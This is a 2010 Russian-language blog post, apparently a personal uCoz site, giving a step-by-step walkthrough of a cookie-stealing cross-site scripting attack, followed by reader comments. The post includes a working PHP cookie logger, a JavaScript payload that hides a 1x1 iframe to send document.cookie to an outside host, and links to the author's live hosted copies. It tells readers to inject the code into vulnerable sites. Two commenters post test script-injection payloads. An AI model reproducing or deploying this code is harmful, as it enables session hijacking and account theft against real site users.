Сайт неОчем
Статистика


Нас находят по:
Форма входа
Инструменты сайта
Вы можете быть услышанными на следующих страницах:

Следите за новыми статьями на сайте через:
Следить в Twitter
Следить в Digg
Или читайте мысли в RSS: Читать через RSS

Так же вы можете:
  • Слушать on-line радио

Каталог мыслей


Главная » Каталог мыслей » QA » xss injection - наглядный пример

2010-05-13
[23:25]
xss injection - наглядный пример
Как и обещал в предыдущей статье, сейчас я расскажу Вам, как же работает xss.
Рассчитываем что при переходе на этот этап мы уже нашли место для xss инъекции (прочитать как можно найти эти места читайте тут) и готовы к инъекции.

Для начала немного теории, как 'это' будет происходить:
- Так как кукисы для сайта браузер может отдать только этому сайту (по правилам безопасности браузеров) мы должны написать javascript, который будет грузиться на сайте, брать куки и передавать php скрипту что бы тот сохранил значения кукисов.
Итак, план наших действий:
1. пишем скрипт который делает невидимое iframe окно и передает ему куки;
2. пишем содержимое для iframe окна на php, которое будет записывать параметры которые мы передаем ему на вход.

А теперь подробней, но наоборот (то есть я начну рассказ с конца, так по идее будет понятней):
2. Нам нужен сайт который будет все входящие ссылки анализировать и записывать все параметры в текстовый файл на сервере.
Немного повозившись, я получил следующий код:
Code
$file = fopen("cookies.txt","a");
fputs($file,"[" . date("d.m.y H:i") . "]: host=".$_GET['host'].", COOKIES=".$_GET['cook']."\r\n");
fclose($file);
?>
где мы: fopen - открываем файл "cookies.txt", в который будем записывать куки.
fputs - записываем в файл следующие данные: date(текущую дату); host (сайт, откуда пришли); COOKIES - ну и собственно все что у нас в куках есть.
И на последок fclose что бы закончить работу с файлом. 

То есть к этому файлу необходимо обращаться со следующими параметрами: 
http://xss.hut2.ru/x/file.php?host=elio.at.ua&cook=none
(Я сразу выложил скрипт на тестовый сайт, подробнее о нем тоже в предыдущей статье о xss)

Хорошо, с последним шагом вроде разобрались, переходим к первому.

1 Нужно написать скрипт который бы вызывал это окно и передавай в параметры host(домен) и cook(куки).
Только и этот шаг мы разобьем на два шага. Большой и маленький.
1.2 Скрипт iframe будет длинноватый, поэтому лучше его записать в отдельный файл типа *.js а в программе вызывать его по коду:
Code
<script src="xss.js"></script>

(так проще внедрять его, и он менее заметный)
1.1 А теперь сам javascript:
Code
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>');

По вызову его мы делаем iframe размерами 1х1 пиксель, даем ему параметр - невидимый(visibility:hidden). И собственно открываем php страницу описанную в шаге 2 (file.php), и передаем параметры: location.host и document.cookie.


Вроде бы все. Теперь создаете возле 2-х файлов еще файл cookies.txt, куда записываться все параметры будут. Ищем на сайте уязвимое место, вставляем туда код, и после этого наблюдаем за файлом cookies.txt. В нем будут скидываться куки. 

Файлы моего скрипта лежат тут:
javascript - xss.js: http://xss.hut2.ru/x/xss.js
php-скрипт - file.php: http://xss.hut2.ru/x/file.php
сборщик кукисов - coockies.txt: http://xss.hut2.ru/x/cookies.txt

Добавил: Elio | Дата: 2010-05-13 | Просмотров: 14022 | Комментариев: 6
1 Timeon  
0
Круто, очень понравилось. А код сам писал?

2 Elio  
0
Да. Давно ещё. Саму идею вычитал, и решил попробовать сотворить smile
И вот только сейчас решился опубликовать smile

3 <script> alert(123); </script>  
0
<script> alert(123); </script>

4 Elio  
0
получилось?

5 "><script>alert('XSS')</script>  
0
"><script>alert('XSS')</script>

6 Elio  
0
Не, не работает cool

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Карта сайта
Copyright elio.net.ua©
Хостинг от uCoz